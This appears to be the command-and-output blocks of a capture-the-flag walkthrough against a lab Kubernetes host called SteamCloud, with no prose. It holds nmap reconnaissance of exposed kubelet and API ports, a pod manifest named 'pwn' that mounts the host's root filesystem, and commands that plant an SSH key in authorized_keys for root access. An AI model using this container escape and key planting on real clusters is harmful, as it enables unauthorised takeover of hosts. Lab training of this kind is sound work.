1
ping -c 3 10.10.11.133
2
PING 10.10.11.133 (10.10.11.133) 56(84) bytes of data.
3
64 bytes from 10.10.11.133: icmp_seq=1 ttl=63 time=136 ms
4
64 bytes from 10.10.11.133: icmp_seq=2 ttl=63 time=127 ms
5
64 bytes from 10.10.11.133: icmp_seq=3 ttl=63 time=127 ms

1
sudo nmap -p- --open --min-rate 5000 -n -vv -Pn 10.10.11.133 -oG allPorts

1
# Nmap 7.95 scan initiated Sat Jul 19 16:30:28 2025 as: /usr/lib/nmap/nmap --privileged -sCV -p 22,2379,2380,8443,10249,10250,10256 -oN targeted 10.10.11.133
2
Nmap scan report for 10.10.11.133
3
Host is up (0.13s latency).
4

5
PORT      STATE SERVICE          VERSION
6
22/tcp    open  ssh              OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
7
| ssh-hostkey:
8
|   2048 fc:fb:90:ee:7c:73:a1:d4:bf:87:f8:71:e8:44:c6:3c (RSA)
9
|   256 46:83:2b:1b:01:db:71:64:6a:3e:27:cb:53:6f:81:a1 (ECDSA)
10
|_  256 1d:8d:d3:41:f3:ff:a4:37:e8:ac:78:08:89:c2:e3:c5 (ED25519)
11
2379/tcp  open  ssl/etcd-client?
12
| tls-alpn:
13
|_  h2
14
| ssl-cert: Subject: commonName=steamcloud
15
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.10.11.133, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
16
| Not valid before: 2025-07-19T20:28:16
17
|_Not valid after:  2026-07-19T20:28:16
18
|_ssl-date: TLS randomness does not represent time
19
2380/tcp  open  ssl/etcd-server?
20
| tls-alpn:
21
|_  h2
22
| ssl-cert: Subject: commonName=steamcloud
23
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.10.11.133, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
24
| Not valid before: 2025-07-19T20:28:16
25
|_Not valid after:  2026-07-19T20:28:16
26
|_ssl-date: TLS randomness does not represent time
27
8443/tcp  open  ssl/http         Golang net/http server
28
|_http-title: Site doesn't have a title (application/json).
29
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
30
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.11.133, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
31
| Not valid before: 2025-07-18T20:28:14
32
|_Not valid after:  2028-07-18T20:28:14
33
|_ssl-date: TLS randomness does not represent time
34
| tls-alpn:
35
|   h2
36
|_  http/1.1
37
| fingerprint-strings:
38
|   FourOhFourRequest:
39
|     HTTP/1.0 403 Forbidden
40
|     Audit-Id: 1d460ee6-1430-4726-90ce-1fbb22b04d1f
41
|     Cache-Control: no-cache, private
42
|     Content-Type: application/json
43
|     X-Content-Type-Options: nosniff
44
|     X-Kubernetes-Pf-Flowschema-Uid: 05c1fea2-8bb7-4883-b2c9-c7cb1a35f9be
45
|     X-Kubernetes-Pf-Prioritylevel-Uid: 3c8f7408-9b5f-41e9-87f3-ea587eab9be4
46
|     Date: Sat, 19 Jul 2025 20:30:43 GMT
47
|     Content-Length: 212
48
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
49
|   GetRequest:
50
|     HTTP/1.0 403 Forbidden
51
|     Audit-Id: 25f5481e-d3bf-449a-964d-08efe25470d8
52
|     Cache-Control: no-cache, private
53
|     Content-Type: application/json
54
|     X-Content-Type-Options: nosniff
55
|     X-Kubernetes-Pf-Flowschema-Uid: 05c1fea2-8bb7-4883-b2c9-c7cb1a35f9be
56
|     X-Kubernetes-Pf-Prioritylevel-Uid: 3c8f7408-9b5f-41e9-87f3-ea587eab9be4
57
|     Date: Sat, 19 Jul 2025 20:30:42 GMT
58
|     Content-Length: 185
59
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
60
|   HTTPOptions:
61
|     HTTP/1.0 403 Forbidden
62
|     Audit-Id: 983172a4-6912-47f0-bb1c-b4794baf14c8
63
|     Cache-Control: no-cache, private
64
|     Content-Type: application/json
65
|     X-Content-Type-Options: nosniff
66
|     X-Kubernetes-Pf-Flowschema-Uid: 05c1fea2-8bb7-4883-b2c9-c7cb1a35f9be
67
|     X-Kubernetes-Pf-Prioritylevel-Uid: 3c8f7408-9b5f-41e9-87f3-ea587eab9be4
68
|     Date: Sat, 19 Jul 2025 20:30:42 GMT
69
|     Content-Length: 189
70
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
71
10249/tcp open  http             Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
72
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
73
10250/tcp open  ssl/http         Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
74
|_ssl-date: TLS randomness does not represent time
75
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
76
| ssl-cert: Subject: commonName=steamcloud@1752956898
77
| Subject Alternative Name: DNS:steamcloud
78
| Not valid before: 2025-07-19T19:28:18
79
|_Not valid after:  2026-07-19T19:28:18
80
| tls-alpn:
81
|   h2
82
|_  http/1.1
83
10256/tcp open  http             Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
84
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
85
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
86
SF-Port8443-TCP:V=7.95%T=SSL%I=7%D=7/19%Time=687C0072%P=x86_64-pc-linux-gn
87
SF:u%r(GetRequest,22F,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x2025f54
88
SF:81e-d3bf-449a-964d-08efe25470d8\r\nCache-Control:\x20no-cache,\x20priva
89
SF:te\r\nContent-Type:\x20application/json\r\nX-Content-Type-Options:\x20n
90
SF:osniff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x2005c1fea2-8bb7-4883-b2c9-c7
91
SF:cb1a35f9be\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x203c8f7408-9b5f-41e9-
92
SF:87f3-ea587eab9be4\r\nDate:\x20Sat,\x2019\x20Jul\x202025\x2020:30:42\x20
93
SF:GMT\r\nContent-Length:\x20185\r\n\r\n{\"kind\":\"Status\",\"apiVersion\
94
SF:":\"v1\",\"metadata\":{},\"status\":\"Failure\",\"message\":\"forbidden
95
SF::\x20User\x20\\\"system:anonymous\\\"\x20cannot\x20get\x20path\x20\\\"/
96
SF:\\\"\",\"reason\":\"Forbidden\",\"details\":{},\"code\":403}\n")%r(HTTP
97
SF:Options,233,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x20983172a4-691
98
SF:2-47f0-bb1c-b4794baf14c8\r\nCache-Control:\x20no-cache,\x20private\r\nC
99
SF:ontent-Type:\x20application/json\r\nX-Content-Type-Options:\x20nosniff\
100
SF:r\nX-Kubernetes-Pf-Flowschema-Uid:\x2005c1fea2-8bb7-4883-b2c9-c7cb1a35f
101
SF:9be\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x203c8f7408-9b5f-41e9-87f3-ea
102
SF:587eab9be4\r\nDate:\x20Sat,\x2019\x20Jul\x202025\x2020:30:42\x20GMT\r\n
103
SF:Content-Length:\x20189\r\n\r\n{\"kind\":\"Status\",\"apiVersion\":\"v1\
104
SF:",\"metadata\":{},\"status\":\"Failure\",\"message\":\"forbidden:\x20Us
105
SF:er\x20\\\"system:anonymous\\\"\x20cannot\x20options\x20path\x20\\\"/\\\
106
SF:"\",\"reason\":\"Forbidden\",\"details\":{},\"code\":403}\n")%r(FourOhF
107
SF:ourRequest,24A,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x201d460ee6-
108
SF:1430-4726-90ce-1fbb22b04d1f\r\nCache-Control:\x20no-cache,\x20private\r
109
SF:\nContent-Type:\x20application/json\r\nX-Content-Type-Options:\x20nosni
110
SF:ff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x2005c1fea2-8bb7-4883-b2c9-c7cb1a
111
SF:35f9be\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x203c8f7408-9b5f-41e9-87f3
112
SF:-ea587eab9be4\r\nDate:\x20Sat,\x2019\x20Jul\x202025\x2020:30:43\x20GMT\
113
SF:r\nContent-Length:\x20212\r\n\r\n{\"kind\":\"Status\",\"apiVersion\":\"
114
SF:v1\",\"metadata\":{},\"status\":\"Failure\",\"message\":\"forbidden:\x2
115
SF:0User\x20\\\"system:anonymous\\\"\x20cannot\x20get\x20path\x20\\\"/nice
116
SF:\x20ports,/Trinity\.txt\.bak\\\"\",\"reason\":\"Forbidden\",\"details\"
117
SF::{},\"code\":403}\n");
118
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
119

120
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
121
# Nmap done at Sat Jul 19 16:31:17 2025 -- 1 IP address (1 host up) scanned in 48.39 seconds

1
kubeletctl -s 10.10.11.133 scan --help

1
apiVersion: v1
2
kind: Pod
3
metadata:
4
  name: pwn
5
  namespace: default
6
spec:
7
  containers:
8
  - image: nginx:1.14.2
9
    name: pwn
10
    volumeMounts:
11
    - mountPath: /mnt
12
      name: flag
13
  volumes:
14
  - hostPath:
15
      path: /
16
    name: flag

1
cat id_ed25519.pub| tr -d '\n' | xclip -sel clip

1
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJQfXv3MLXm6Nyh+SgtGlM0JCaDM9UeOCWxl7 root@kali" > authorized_keys